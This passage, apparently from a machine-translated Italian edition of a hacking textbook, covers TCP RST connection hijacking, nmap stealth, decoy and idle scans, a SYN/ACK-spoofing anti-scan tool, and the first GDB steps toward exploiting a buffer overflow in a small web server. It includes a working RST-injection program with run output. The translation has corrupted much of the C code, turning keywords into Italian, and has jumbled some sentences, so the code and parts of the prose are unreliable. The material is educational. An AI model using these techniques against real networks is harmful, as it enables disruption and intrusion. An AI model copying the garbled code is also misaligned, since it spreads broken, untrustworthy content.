/ * Imposta un filtro di pacchetto per cercare connessioni TCP stabilite a target_ip * /


int set_packet_filter (pcap_t * pcap_hdl, struct in_addr * target_ip) {
struct bpf_program filter;
char filter_string [100];

sprintf (filter_string, "tcp [tcpflags] & tcp-ack! = 0 e dst host% s", inet_ntoa (* target_ip));

printf ("DEBUG: la stringa del filtro è \ '% s \' \ n", filter_string);


if (pcap_compile (pcap_hdl, & filter, filter_string, 0, 0) == -1)
fatale ("pcap_compile fallito");

if (pcap_setfilter (pcap_hdl, & filter) == -1)


fatale ("pcap_setfilter fallito");
}

La funzione successiva compila e imposta il BPF per accettare solo i pacchetti da


ha stabilito connessioni con l'IP di destinazione. La funzione sprintf () è solo una printf ()
che stampa su una stringa.

void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
u_char * pkt_data;
struct libnet_ip_hdr * IPhdr;
struct libnet_tcp_hdr * TCPhdr;
struct data_pass * passato;
int bcount;

passato = (struct data_pass *) user_args; // Passa i dati utilizzando un puntatore a una struttura.

IPhdr = (struct libnet_ip_hdr *) (pacchetto + LIBNET_ETH_H);


TCPhdr = (struct libnet_tcp_hdr *) (pacchetto + LIBNET_ETH_H + LIBNET_TCP_H);

printf ("reimpostazione della connessione TCP da% s:% d",


inet_ntoa (IPhdr-> ip_src), htons (TCPhdr-> th_sport));
printf ("<--->% s:% d \ n",
inet_ntoa (IPhdr-> ip_dst), htons (TCPhdr-> th_dport));
libnet_build_ip (LIBNET_TCP_H, // Dimensione del pacchetto senza l'intestazione IP
IPTOS_LOWDELAY, // IP tos
libnet_get_prand (LIBNET_PRu16), // IP ID (randomizzato)
0, // Frag stuff
libnet_get_prand (LIBNET_PR8), // TTL (randomizzato)
IPPROTO_TCP, // Protocollo di trasporto
* ((u_long *) & (IPhdr-> ip_dst)), // IP sorgente (fai finta di essere dst)
* ((u_long *) & (IPhdr-> ip_src)), // IP di destinazione (rimanda a src)
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
passato-> pacchetto); // Memoria dell'intestazione del pacchetto

libnet_build_tcp (htons (TCPhdr-> th_dport), // Porta TCP di origine (fai finta di essere dst)
htons (TCPhdr-> th_sport), // Porta TCP di destinazione (rimandare a src)
htonl (TCPhdr-> th_ack), // Numero di sequenza (usa ack precedente)
libnet_get_prand (LIBNET_PRu32), // Numero di riconoscimento (randomizzato)

262 0x400

Pagina 277

TH_RST, // Flag di controllo (solo flag RST impostato)


libnet_get_prand (LIBNET_PRu16), // Dimensione finestra (randomizzata)
0, // Puntatore urgente
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
(passato-> pacchetto) + LIBNET_IP_H); // Memoria intestazione pacchetto

if (libnet_do_checksum (passato-> pacchetto, IPPROTO_TCP, LIBNET_TCP_H) == -1)


libnet_error (LIBNET_ERR_FATAL, "impossibile calcolare il checksum \ n");

bcount = libnet_write_ip (passato-> libnet_handle, passato-> pacchetto, LIBNET_IP_H + LIBNET_TCP_H);


if (bcount <LIBNET_IP_H + LIBNET_TCP_H)
libnet_error (LIBNET_ERR_WARNING, "Attenzione: scritto pacchetto incompleto.");

usleep (5000); // pausa leggermente


}

La funzione di callback falsifica i pacchetti RST. Innanzitutto, i dati critici di libnet


viene recuperato e i puntatori alle intestazioni IP e TCP vengono impostati utilizzando le strutture
incluso con libnet. Potremmo usare le nostre strutture da hacking-network.h,
ma le strutture libnet sono già presenti e compensano quelle dell'host
ordinamento dei byte. Il pacchetto RST contraffatto utilizza l'indirizzo di origine rilevato come
la destinazione e viceversa. Il numero di sequenza rilevato viene utilizzato come
numero di riconoscimento del pacchetto contraffatto, poiché è quello che ci si aspetta.

reader @ hacking: ~ / booksrc $ gcc $ (libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
lettore @ hacking: ~ / booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: la stringa del filtro è "tcp [tcpflags] & tcp-ack! = 0 e dst host 192.168.42.88"
Reimpostazione di tutte le connessioni TCP su 192.168.42.88 su eth0
ripristino della connessione TCP da 192.168.42.72:47783 <---> 192.168.42.88:22

0x462 Hijack continuato


Non è necessario che il pacchetto contraffatto sia un pacchetto RST. Questo attacco diventa
più interessante quando il pacchetto spoof contiene dati. La macchina host
riceve il pacchetto contraffatto, incrementa il numero di sequenza e risponde
all'IP della vittima. Dal momento che la macchina della vittima non è a conoscenza dello spoofing
pacchetto, la risposta della macchina host ha un numero di sequenza errato, quindi
la vittima ignora quel pacchetto di risposta. E dal momento che la macchina della vittima
ignorato il pacchetto di risposta della macchina host, il numero di sequenza della vittima
il conteggio è spento. Pertanto, qualsiasi pacchetto che la vittima tenta di inviare alla macchina host
avrà anche un numero di sequenza errato, causando la macchina host
ignorarlo. In questo caso, entrambi i lati legittimi della connessione hanno
numeri di sequenza errati, risultando in uno stato desincronizzato. E da allora
l'attaccante ha inviato il primo pacchetto contraffatto che ha causato tutto questo caos, può farlo
tieni traccia dei numeri di sequenza e continua a falsificare i pacchetti dal
l'indirizzo IP della vittima sulla macchina host. Ciò consente all'attaccante di continuare la comunicazione
comunicazione con la macchina host mentre la connessione della vittima si blocca.

Networking 263

Pagina 278

0x470 Port Scanning


La scansione delle porte è un modo per capire quali porte stanno ascoltando e accettando
collegamenti. Poiché la maggior parte dei servizi viene eseguita su porte standard e documentate, this
le informazioni possono essere utilizzate per determinare quali servizi sono in esecuzione. Il semplice
La forma più recente di scansione delle porte implica il tentativo di aprire connessioni TCP a tutti i file
possibile porta sul sistema di destinazione. Sebbene sia efficace, è anche rumoroso e
rilevabile. Inoltre, una volta stabilite le connessioni, i servizi verranno normalmente registrati
l'indirizzo IP. Per evitare ciò, sono state inventate diverse tecniche intelligenti.
Uno strumento di scansione delle porte chiamato nmap, scritto da Fyodor, implementa tutto
le seguenti tecniche di scansione delle porte. Questo strumento è diventato uno dei più
popolari strumenti di scansione delle porte open source.

0x471 Scansione SYN invisibile


Una scansione SYN è talvolta chiamata anche scansione semiaperta . Questo perché non è così
aprire effettivamente una connessione TCP completa. Richiama l'handshake TCP / IP: quando un file
viene stabilita una connessione completa, prima viene inviato un pacchetto SYN, quindi viene inviato un pacchetto SYN / ACK
rispedito e infine viene restituito un pacchetto ACK per completare l'handshake
e apri la connessione. Una scansione SYN non completa l'handshake, quindi un file
la connessione completa non viene mai aperta. Invece, viene inviato solo il pacchetto SYN iniziale,
e la risposta viene esaminata. Se in risposta viene ricevuto un pacchetto SYN / ACK,
quella porta deve accettare le connessioni. Questo viene registrato e un pacchetto RST
viene inviato per interrompere la connessione per evitare che il servizio venga accidentalmente
essere DoSed.
Utilizzando nmap, è possibile eseguire una scansione SYN utilizzando la riga di comando
opzione -sS . Il programma deve essere eseguito come root, poiché il programma non sta utilizzando
socket standard e necessita dell'accesso alla rete non elaborata.

lettore @ hacking: ~ / booksrc $ sudo nmap -sS 192.168.42.72

Avvio di Nmap 4.20 (http://insecure.org) al 29/05/2007 alle 09:19 PDT


Porte interessanti su 192.168.42.72:
Non mostrato: 1696 porte chiuse
SERVIZIO DELLO STATO DI PORTO
22 / tcp aprire ssh

Nmap terminato: 1 indirizzo IP (1 host in su) scansionato in 0,094 secondi

0x472 FIN, X-mas e Null Scans


In risposta alla scansione SYN, nuovi strumenti per rilevare e registrare le connessioni semiaperte
furono creati. Quindi ancora un'altra raccolta di tecniche per la scansione invisibile delle porte
evoluto: scansioni FIN, X-mas e Null. Tutto ciò comporta l'invio di un'assurdità
pacchetto a ogni porta sul sistema di destinazione. Se una porta è in ascolto, questi pacchetti
semplicemente essere ignorato. Tuttavia, se la porta è chiusa e l'implementazione segue
protocollo (RFC 793), verrà inviato un pacchetto RST. Questa differenza può essere utilizzata
per rilevare quali porte accettano le connessioni, senza aprirsi effettivamente
eventuali collegamenti.
La scansione FIN invia un pacchetto FIN, la scansione X-mas invia un pacchetto con
FIN, URG e PUSH si attivano (così chiamati perché le bandiere sono illuminate come un file

264 0x400

Pagina 279

Christmas tree) e la scansione Null invia un pacchetto senza flag TCP impostati. Mentre
questi tipi di scansioni sono più furtivi, possono anche essere inaffidabili. Per esempio,
L'implementazione di TCP da parte di Microsoft non invia pacchetti RST come dovrebbe,
rendendo inefficace questa forma di scansione.
Utilizzando nmap, FIN, X-mas e NULL è possibile eseguire scansioni utilizzando l'estensione
opzioni della riga di comando -sF , -sX e -sN , rispettivamente. La loro uscita sembra
fondamentalmente lo stesso della scansione precedente.

0x473 Spoofing Esche


Un altro modo per evitare di essere scoperti è nascondersi tra più esche. Questa tecnica
falsifica semplicemente le connessioni da vari indirizzi IP esca tra ciascuno
reale connessione di scansione delle porte. Le risposte dalle connessioni contraffatte
non sono necessari, poiché sono semplicemente fuorvianti. Tuttavia, l'esca falsificata
gli indirizzi devono utilizzare indirizzi IP reali di host live; in caso contrario, il bersaglio può
essere accidentalmente allagato SYN.
I decoys possono essere specificati in nmap con l' opzione della riga di comando -D .
Il comando nmap di esempio mostrato di seguito esegue la scansione dell'IP 192.168.42.72, utilizzando
192.168.42.10 e 192.168.42.11 come esche.

lettore @ hacking: ~ / booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42.72

0x474 Scansione inattiva


La scansione inattiva è un modo per scansionare una destinazione utilizzando pacchetti contraffatti da un inattivo
host, osservando i cambiamenti nell'host inattivo. L'attaccante deve trovare un file
host inattivo utilizzabile che non invia o riceve altro traffico di rete e
che ha un'implementazione TCP che produce ID IP prevedibili che cambiano
di un incremento noto con ogni pacchetto. Gli ID IP devono essere univoci per
pacchetto per sessione e sono comunemente incrementati di un importo fisso.
Gli ID IP prevedibili non sono mai stati realmente considerati un rischio per la sicurezza e inattivi
la scansione sfrutta questo malinteso. Sistemi operativi più recenti,
come il recente kernel Linux, OpenBSD e Windows Vista, randomize
l'ID IP, ma sistemi operativi e hardware precedenti (come le stampanti)
in genere no.
Innanzitutto, l'attaccante ottiene l'ID IP corrente dell'host inattivo contattandolo
con un pacchetto SYN o un pacchetto SYN / ACK non richiesto e osservando l'IP
ID della risposta. Ripetendo questo processo alcune altre volte, l'incremento
può essere determinato applicato all'ID IP con ogni pacchetto.
Quindi, l'attaccante invia un pacchetto SYN contraffatto con l'IP dell'host inattivo
indirizzo a una porta sulla macchina di destinazione. Una delle due cose accadrà,
a seconda che la porta sulla macchina vittima sia in ascolto:

Se quella porta è in ascolto, un pacchetto SYN / ACK verrà rimandato allo stato inattivo
ospite. Ma poiché l'host inattivo non ha effettivamente inviato il SYN iniziale
packet, questa risposta sembra non essere richiesta all'host inattivo e
risponde restituendo un pacchetto RST.
Se quella porta non è in ascolto, la macchina di destinazione non invia un SYN / ACK
packet torna all'host inattivo, quindi l'host inattivo non risponde.

Networking 265
Pagina 280

A questo punto, l'aggressore contatta nuovamente l'host inattivo per determinare come
molto l'ID IP è aumentato. Se è aumentato solo di un intervallo,
nessun altro pacchetto è stato inviato dall'host inattivo tra i due controlli. Questo
implica che la porta sulla macchina di destinazione sia chiusa. Se l'ID IP ha incrementi
indicato da due intervalli, è stato inviato un pacchetto, presumibilmente un pacchetto RST
dalla macchina inattiva tra i controlli. Ciò implica che la porta su
la macchina di destinazione è aperta.
I passaggi sono illustrati nella pagina successiva per entrambi i possibili risultati.
Naturalmente, se l'host inattivo non è veramente inattivo, i risultati saranno distorti. Se
c'è poco traffico sull'host inattivo, è possibile inviare più pacchetti per ciascuno
porta. Se vengono inviati 20 pacchetti, dovrebbe essere una modifica di 20 passaggi incrementali
un'indicazione di un porto aperto e nessuno di un porto chiuso. Anche se c'è
traffico leggero, come uno o due pacchetti non correlati alla scansione inviati dall'idle
host, questa differenza è abbastanza grande da poter essere ancora rilevata.
Se questa tecnica viene utilizzata correttamente su un host inattivo che non ne ha
capacità di registrazione, l'attaccante può scansionare qualsiasi bersaglio senza mai rivelarlo
il suo indirizzo IP.
Dopo aver trovato un host inattivo adatto, è possibile eseguire questo tipo di scansione
nmap utilizzando l' opzione della riga di comando -sI seguita dall'indirizzo dell'host inattivo:

reader @ hacking: ~ / booksrc $ sudo nmap -sI idlehost.com 192.168.42.7

Porta aperta sul bersaglio Ultimo ID da


3
host inattivo = 50
SYN / ACK

Host inattivo RST (ID = 52) Attaccante

2 1

SYN / ACK RST (ID = 51)


SYN
Spoofed con host inattivo
come indirizzo di origine

Bersaglio

Porta chiusa sul bersaglio Ultimo ID da


2
host inattivo = 50
SYN / ACK

Host inattivo RST (ID = 51) Attaccante

SYN
Spoofed con host inattivo
come indirizzo di origine

Bersaglio

266 0x400

Pagina 281

0x475 Difesa proattiva (velo)


Le scansioni delle porte vengono spesso utilizzate per profilare i sistemi prima che vengano attaccati. Conoscere-
L'importanza delle porte aperte consente a un utente malintenzionato di determinare quali servizi possono farlo
essere attaccato. Molti IDS offrono metodi per rilevare le scansioni delle porte, ma a quel punto il file
le informazioni sono già trapelate. Mentre scrivevo questo capitolo, mi sono chiesto
se è possibile prevenire le scansioni delle porte prima che avvengano effettivamente. Pirateria informatica,
in realtà, si tratta di elaborare nuove idee, quindi un metodo di nuova concezione
per la difesa proattiva della scansione delle porte sarà presentata qui.
Prima di tutto, le scansioni FIN, Null e X-mas possono essere prevenute con un semplice
modifica del kernel. Se il kernel non invia mai pacchetti di ripristino, queste scansioni lo faranno
non alzare niente. Il seguente output usa grep per trovare il codice del kernel
responsabile dell'invio di pacchetti di ripristino.

reader @ hacking: ~ / booksrc $ grep -n -A 20 "void. * send_reset" /usr/src/linux/net/ipv4/tcp_ipv4.c


547: static void tcp_v4_send_reset (struct sock * sk, struct sk_buff * skb)
548- {
549- struct tcphdr * th = skb-> h.th;
550- struct {
551- struct tcphdr th;
552- # ifdef CONFIG_TCP_MD5SIG
553- __be32 opt [(TCPOLEN_MD5SIG_ALIGNED >> 2)];
554- # endif
555-} rep;
556- struct ip_reply_arg arg;
557- # ifdef CONFIG_TCP_MD5SIG
558- struct tcp_md5sig_key * key;
559- # endif
560-

ritorno; // Modifica: non inviare mai RST, restituire sempre.

561- / * Non inviare mai un ripristino in risposta a un ripristino. * /


562- se (th-> primo)
563- ritorno;
564-
565- if (((struct rtable *) skb-> dst) -> rt_type! = RTN_LOCAL)
566- ritorno;
567-
lettore @ hacking: ~ / booksrc $

Aggiungendo il comando return (mostrato sopra in grassetto), il


La funzione del kernel tcp_v4_send_reset () tornerà semplicemente invece di fare
nulla. Dopo
pacchetti che il kernel
di ripristino, è statolaricompilato,
evitando il kernel risultante non invierà
fuga di informazioni.

FIN Scan prima della modifica del kernel

matrice @ euclid: ~ $ sudo nmap -T5 -sF 192.168.42.72


Avvio di Nmap 4.11 (http://www.insecure.org/nmap/) alle 16:58 PDT 2007-03-17
Porte interessanti su 192.168.42.72:
Non mostrato: 1678 porte chiuse

Networking 267

Pagina 282

STATO DI PORTO SERVIZIO


22 / tcp open | ssh filtrato
80 / tcp aperto | http filtrato
Indirizzo MAC: 00: 01: 6C: EB: 1D: 50 (Foxconn)
Nmap terminato: 1 indirizzo IP (1 host in su) scansionato in 1.462 secondi
matrice @ euclide: ~ $

FIN Scan dopo la modifica del kernel

matrice @ euclid: ~ $ sudo nmap -T5 -sF 192.168.42.72


Avvio di Nmap 4.11 (http://www.insecure.org/nmap/) alle 16:58 PDT 2007-03-17
Porte interessanti su 192.168.42.72:
Non mostrato: 1678 porte chiuse
STATO DI PORTO SERVIZIO
Indirizzo MAC: 00: 01: 6C: EB: 1D: 50 (Foxconn)
Nmap terminato: 1 indirizzo IP (1 host in su) scansionato in 1.462 secondi
matrice @ euclide: ~ $

Funziona bene per le scansioni che si basano su pacchetti RST, ma previene


la perdita di dati con le scansioni SYN e le scansioni full-connect è un po 'più difficile.
Per mantenere la funzionalità, le porte aperte devono rispondere con SYN / ACK
pacchetti: non c'è modo di aggirarlo. Ma se anche tutte le porte chiuse
ha risposto con pacchetti SYN / ACK, la quantità di informazioni utili an
l'attaccante potrebbe recuperare dalle scansioni delle porte sarebbe ridotto al minimo. Semplicemente aprendo
ogni porta, tuttavia, causerebbe un notevole calo delle prestazioni, il che non è desiderabile.
Idealmente, tutto questo dovrebbe essere fatto senza utilizzare uno stack TCP. Il seguente pro
gram fa esattamente questo. È una modifica del programma rst_hijack.c, utilizzando
una stringa BPF più complessa per filtrare solo i pacchetti SYN destinati a porte chiuse.
La funzione di callback falsifica una risposta SYN / ACK dall'aspetto legittimo a any
Pacchetto SYN che supera il BPF. Questo inonderà i port scanner con
un mare di falsi positivi, che nasconderà porti legittimi.

shroud.c

#include <libnet.h>
#include <pcap.h>
#include "hacking.h"

#define MAX_EXISTING_PORTS 30

void catch_packet (u_char *, const struct pcap_pkthdr *, const u_char *);


int set_packet_filter (pcap_t *, struct in_addr *, u_short *);

struct data_pass {
int libnet_handle;
pacchetto u_char *;
};

int main (int argc, char * argv []) {


struct pcap_pkthdr cap_header;
const u_char * packet, * pkt_data;
pcap_t * pcap_handle;

268 0x400

Pagina 283

char errbuf [PCAP_ERRBUF_SIZE]; // Stesse dimensioni di LIBNET_ERRBUF_SIZE


char * dispositivo;
u_long target_ip;
int rete, i;
struct data_pass critical_libnet_data;
u_short existing_ports [MAX_EXISTING_PORTS];

if ((argc <2) || (argc> MAX_EXISTING_PORTS + 2)) {


if (argc> 2)
printf ("Limitato al monitoraggio di% d porte esistenti. \ n", MAX_EXISTING_PORTS);
altro
printf ("Utilizzo:% s <IP da proteggere> [porte esistenti ...] \ n", argv [0]);
uscita (0);
}

target_ip = libnet_name_resolve (argv [1], LIBNET_RESOLVE);


if (target_ip == -1)
fatal ("Indirizzo di destinazione non valido");

for (i = 2; i <argc; i ++)


porte_esistenti [i-2] = (u_short) atoi (argv [i]);

porte_esistenti [argc-2] = 0;

dispositivo = pcap_lookupdev (errbuf);


if (dispositivo == NULL)
fatale (errbuf);
pcap_handle = pcap_open_live (dispositivo, 128, 1, 0, errbuf);
if (pcap_handle == NULL)
fatale (errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock (IPPROTO_RAW);


if (critical_libnet_data.libnet_handle == -1)
libnet_error (LIBNET_ERR_FATAL, "non può aprire l'interfaccia di rete. - questo programma deve essere eseguito
come root. \ n ");

libnet_init_packet (LIBNET_IP_H + LIBNET_TCP_H, & (critical_libnet_data.packet));


if (critical_libnet_data.packet == NULL)
libnet_error (LIBNET_ERR_FATAL, "impossibile inizializzare la memoria dei pacchetti. \ n");

libnet_seed_prand ();

set_packet_filter (pcap_handle, (struct in_addr *) & target_ip, existing_ports);

pcap_loop (pcap_handle, -1, catch_packet, (u_char *) & critical_libnet_data);


pcap_close (pcap_handle);
}

/ * Imposta un filtro di pacchetto per cercare connessioni TCP stabilite a target_ip * /


int set_packet_filter (pcap_t * pcap_hdl, struct in_addr * target_ip, u_short * ports) {
struct bpf_program filter;
char * str_ptr, filter_string [90 + (25 * MAX_EXISTING_PORTS)];
int i = 0;

sprintf (filter_string, "dst host% s and", inet_ntoa (* target_ip)); // IP di destinazione

Networking 269

Pagina 284

strcat (filter_string, "tcp [tcpflags] & tcp-syn! = 0 e tcp [tcpflags] & tcp-ack = 0");

if (ports [0]! = 0) {// Se è presente almeno una porta


str_ptr = filter_string + strlen (filter_string);
if (ports [1] == 0) // Esiste solo una porta
sprintf (str_ptr, "e non dst port% hu", ports [i]);
else {// Due o più porte esistenti
sprintf (str_ptr, "and not (dst port% hu", ports [i ++]);
while (ports [i]! = 0) {
str_ptr = filter_string + strlen (filter_string);
sprintf (str_ptr, "o dst port% hu", ports [i ++]);
}
strcat (filter_string, ")");
}
}
printf ("DEBUG: la stringa del filtro è \ '% s \' \ n", filter_string);
if (pcap_compile (pcap_hdl, & filter, filter_string, 0, 0) == -1)
fatale ("pcap_compile fallito");

if (pcap_setfilter (pcap_hdl, & filter) == -1)


fatale ("pcap_setfilter fallito");
}

void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
u_char * pkt_data;
struct libnet_ip_hdr * IPhdr;
struct libnet_tcp_hdr * TCPhdr;
struct data_pass * passato;
int bcount;

passato = (struct data_pass *) user_args; // Passa i dati utilizzando un puntatore a una struttura

IPhdr = (struct libnet_ip_hdr *) (pacchetto + LIBNET_ETH_H);


TCPhdr = (struct libnet_tcp_hdr *) (pacchetto + LIBNET_ETH_H + LIBNET_TCP_H);

libnet_build_ip (LIBNET_TCP_H, // Dimensione del pacchetto senza l'intestazione IP


IPTOS_LOWDELAY, // IP tos
libnet_get_prand (LIBNET_PRu16), // IP ID (randomizzato)
0, // Frag stuff
libnet_get_prand (LIBNET_PR8), // TTL (randomizzato)
IPPROTO_TCP, // Protocollo di trasporto
* ((u_long *) & (IPhdr-> ip_dst)), // IP sorgente (fai finta di essere dst)
* ((u_long *) & (IPhdr-> ip_src)), // IP di destinazione (rimanda a src)
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
passato-> pacchetto); // Memoria dell'intestazione del pacchetto

libnet_build_tcp (htons (TCPhdr-> th_dport), // Porta TCP di origine (fai finta di essere dst)
htons (TCPhdr-> th_sport), // Porta TCP di destinazione (rimandare a src)
htonl (TCPhdr-> th_ack), // Numero di sequenza (usa ack precedente)
htonl ((TCPhdr-> th_seq) + 1), // Numero di riconoscimento (numero di sequenza di SYN + 1)
TH_SYN | TH_ACK, // Flag di controllo (solo flag RST impostato)
libnet_get_prand (LIBNET_PRu16), // Dimensione finestra (randomizzata)
0, // Puntatore urgente

270 0x400

Pagina 285

NULLO, // Payload (nessuno)


0, // Lunghezza del carico utile
(passato-> pacchetto) + LIBNET_IP_H); // Memoria intestazione pacchetto

if (libnet_do_checksum (passato-> pacchetto, IPPROTO_TCP, LIBNET_TCP_H) == -1)


libnet_error (LIBNET_ERR_FATAL, "impossibile calcolare il checksum \ n");

bcount = libnet_write_ip (passato-> libnet_handle, passato-> pacchetto, LIBNET_IP_H + LIBNET_TCP_H);


if (bcount <LIBNET_IP_H + LIBNET_TCP_H)
libnet_error (LIBNET_ERR_WARNING, "Attenzione: scritto pacchetto incompleto.");
printf ("bing! \ n");
}

Ci sono alcune parti complicate nel codice sopra, ma dovresti essere in grado di farlo
segui tutto. Quando il programma viene compilato ed eseguito, coprirà il file
Indirizzo IP fornito come primo argomento, ad eccezione di un elenco di file esistenti
porte fornite come argomenti rimanenti.

reader @ hacking: ~ / booksrc $ gcc $ (libnet-config --defines) -o shroud shroud.c -lnet -lpcap
reader @ hacking: ~ / booksrc $ sudo ./shroud 192.168.42.72 22 80
DEBUG: la stringa del filtro è 'dst host 192.168.42.72 e tcp [tcpflags] & tcp-syn! = 0 e
tcp [tcpflags] & tcp-ack = 0 e non (dst port 22 o dst port 80) "

Mentre shroud è in esecuzione, qualsiasi tentativo di scansione delle porte mostrerà ogni porta
essere aperti.

matrice @ euclid: ~ $ sudo nmap -sS 192.168.0.189

Avvio di nmap V. 3.00 (www.insecure.org/nmap/)


Porte interessanti su (192.168.0.189):
Servizio dello Stato di approdo
1 / tcp aperto tcpmux
2 / tcp aperto compressnet
3 / tcp aperto compressnet
4 / tcp aperto sconosciuto
5 / tcp aperto rje
6 / tcp aperto sconosciuto
7 / tcp aperto eco
8 / tcp aperto sconosciuto
9 / tcp aperto scartare
10 / tcp aperto sconosciuto
11 / tcp aperto systat
12 / tcp aperto sconosciuto
13 / tcp aperto giorno
14 / tcp aperto sconosciuto
15 / tcp aperto netstat
16 / tcp aperto sconosciuto
17 / tcp aperto qotd
18 / tcp aperto msp
19 / tcp aperto chargen
20 / tcp aperto ftp-data
21 / tcp aperto ftp
22 / tcp aperto ssh

Networking 271

Pagina 286

23 / tcp aperto telnet


24 / tcp aperto priv-mail
25 / tcp aperto smtp

[output tagliato]

32780 / tcp aperto a volte-rpc23


32786 / tcp aperto a volte-rpc25
32787 / tcp aperto a volte-rpc27
43188 / tcp aperto raggiungere
44442 / tcp aperto coldfusion-auth
44443 / tcp aperto coldfusion-auth
47557 / tcp aperto dbbrowse
49400 / tcp aperto compaqdiag
54320 / tcp aperto bo2k
61439 / tcp aperto netprowler-manager
61440 / tcp aperto netprowler-manager2
61441 / tcp aperto netprowler-sensor
65301 / tcp aperto pcanywhere

Esecuzione di Nmap completata - 1 indirizzo IP (1 host in su) scansionato in 37 secondi


matrice @ euclide: ~ $

L'unico servizio che è effettivamente in esecuzione è ssh sulla porta 22, ma è nascosto
in un mare di falsi positivi. Un utente malintenzionato dedicato potrebbe semplicemente telnet a tutti
port per controllare i banner, ma questa tecnica potrebbe essere facilmente estesa a
anche banner contraffatti.

0x480 Raggiungi e hackera qualcuno


La programmazione di rete tende a spostare molti blocchi di memoria e lo è
pesante nel typecasting. Hai visto di persona quanto siano pazzi alcuni dei typecast
può ottenere. Gli errori prosperano in questo tipo di caos. E poiché molti programmi di rete
grammi devono essere eseguiti come root, questi piccoli errori possono diventare vulnerabili
abilità. Una di queste vulnerabilità esiste nel codice di questo capitolo. Hai fatto
notarlo?

Da hacking-network.h

/ * Questa funzione accetta un socket FD e un ptr a una destinazione


* buffer. Riceverà dal socket fino al byte EOL
* sequenza in vista. I byte EOL vengono letti dal socket, ma
* il buffer di destinazione viene terminato prima di questi byte.
* Restituisce la dimensione della riga di lettura (senza byte EOL).
*/
int recv_line (int sockfd, unsigned char * dest_buffer) {
#define EOL "\ r \ n" // Sequenza di byte di fine riga
#define EOL_SIZE 2
char senza segno * ptr;
int eol_matched = 0;

ptr = dest_buffer;

272 0x400
Pagina 287

while (recv (sockfd, ptr, 1, 0) == 1) {// Legge un singolo byte.


if (* ptr == EOL [eol_matched]) {// Questo byte corrisponde al terminatore?
eol_matched ++;
if (eol_matched == EOL_SIZE) {// Se tutti i byte corrispondono al terminatore,
* (ptr + 1-EOL_SIZE) = '\ 0'; // termina la stringa.
return strlen (dest_buffer); // Restituisce i byte ricevuti.
}
} altro {
eol_matched = 0;
}
ptr ++; // Incrementa il puntatore al byte successivo.
}
return 0; // Non sono stati trovati i caratteri di fine riga.
}

La funzione recv_line () in hacking-network.h ha un piccolo errore di


omissione: non esiste un codice per limitare la lunghezza. Ciò significa byte ricevuti
possono overflow se superano la dimensione dest_buffer . Il programma server tinyweb
e tutti gli altri programmi che utilizzano questa funzione sono vulnerabili agli attacchi.

0x481 Analisi con GDB


Per sfruttare la vulnerabilità nel programma tinyweb.c, dobbiamo solo inviare
pacchetti che sovrascriveranno strategicamente l'indirizzo di ritorno. Per prima cosa, dobbiamo
conoscere l'offset dall'inizio di un buffer che controlliamo al ritorno memorizzato
indirizzo. Usando GDB, possiamo analizzare il programma compilato per trovarlo;
tuttavia, ci sono alcuni dettagli sottili che possono causare problemi complicati. Per
Ad esempio, il programma richiede i privilegi di root, quindi il debugger deve essere eseguito
come root. Ma l'uso di sudo o l'esecuzione con l'ambiente di root cambierà il file
stack, il che significa che gli indirizzi visti nell'esecuzione del debugger del binario non lo faranno
corrispondono agli indirizzi quando funziona normalmente. Ci sono altri lievi
differenze che possono spostare la memoria nel debugger in questo modo, creando
incongruenze che possono essere esasperanti da rintracciare. Secondo il
debugger, tutto sembrerà che dovrebbe funzionare; tuttavia, l'exploit non riesce
quando viene eseguito al di fuori del debugger, poiché gli indirizzi sono diversi.
Un'elegante soluzione a questo problema è allegare al processo dopo che è stato
già correndo. Nell'output seguente, GDB viene utilizzato per collegarsi a un già-
eseguire il processo tinyweb avviato in un altro terminale. La fonte è
ricompilato usando l' opzione -g per includere i simboli di debug che GDB
può essere applicato al processo in esecuzione.

lettore @ hacking: ~ / booksrc $ ps aux | grep tinyweb


radice 13019 0,0 0,0 1504 344 punti / 0 S + 20:25 0:00 ./tinyweb
reader 13104 0.0 0.0 2880748 punti / 2 R + 20:27 0:00 grep tinyweb
reader @ hacking: ~ / booksrc $ gcc -g tinyweb.c
reader @ hacking: ~ / booksrc $ sudo gdb -q --pid = 13019 --symbols =. / a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Collegamento al processo 13019
/ cow / home / reader / booksrc / tinyweb: nessun file o directory di questo tipo.
È già in corso il debug di un programma. Uccidilo? (y o n) n
Programma non terminato.

Networking 273

Pagina 288

(gdb) bt
# 0 0xb7fe77f2 in ?? ()
# 1 0xb7f691e1 in ?? ()
# 2 0x08048ccf in main () su tinyweb.c: 44
(gdb) list 44
39 if (ascolta (sockfd, 20) == -1)
40 fatal ("ascolto sul socket");
41
42 while (1) {// Accetta il ciclo
43 sin_size = sizeof (struct sockaddr_in);
44 new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
45 if (new_sockfd == -1)
46 fatale ("accettazione della connessione");
47
48 handle_connection (new_sockfd, & client_addr);
(gdb) list handle_connection
53 / * Questa funzione gestisce la connessione sul socket passato da
54 * ha passato l'indirizzo del cliente. La connessione viene elaborata come richiesta web
55 * e questa funzione risponde tramite la presa collegata. Infine, il
56 * Il socket passato viene chiuso alla fine della funzione.
57 * /
58 void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr) {
59 char senza segno * ptr, richiesta [500], risorsa [500];
60 int fd, length;
61
62 length = recv_line (sockfd, richiesta);
(gdb) break 62
Punto di interruzione 1 in 0x8048d02: file tinyweb.c, riga 62.
(gdb) cont
Continuando.

Dopo essersi collegati al processo in esecuzione, un backtrace dello stack mostra il


gram è attualmente in main () , in attesa di una connessione. Dopo aver impostato un punto di interruzione
alla prima chiamata recv_line () sulla linea 62 (), il programma può continuare.
A questo punto, l'esecuzione del programma deve essere avanzata creando un file web
richiedere utilizzando wget in un altro terminale o un browser. Quindi il punto di interruzione
handle_connection () verrà colpito.

Breakpoint 2, handle_connection (sockfd = 4, client_addr_ptr = 0xbffff810) su tinyweb.c: 62


62 length = recv_line (sockfd, richiesta);
(gdb) x / x richiesta
0xbffff5c0: 0x00000000
(gdb) bt
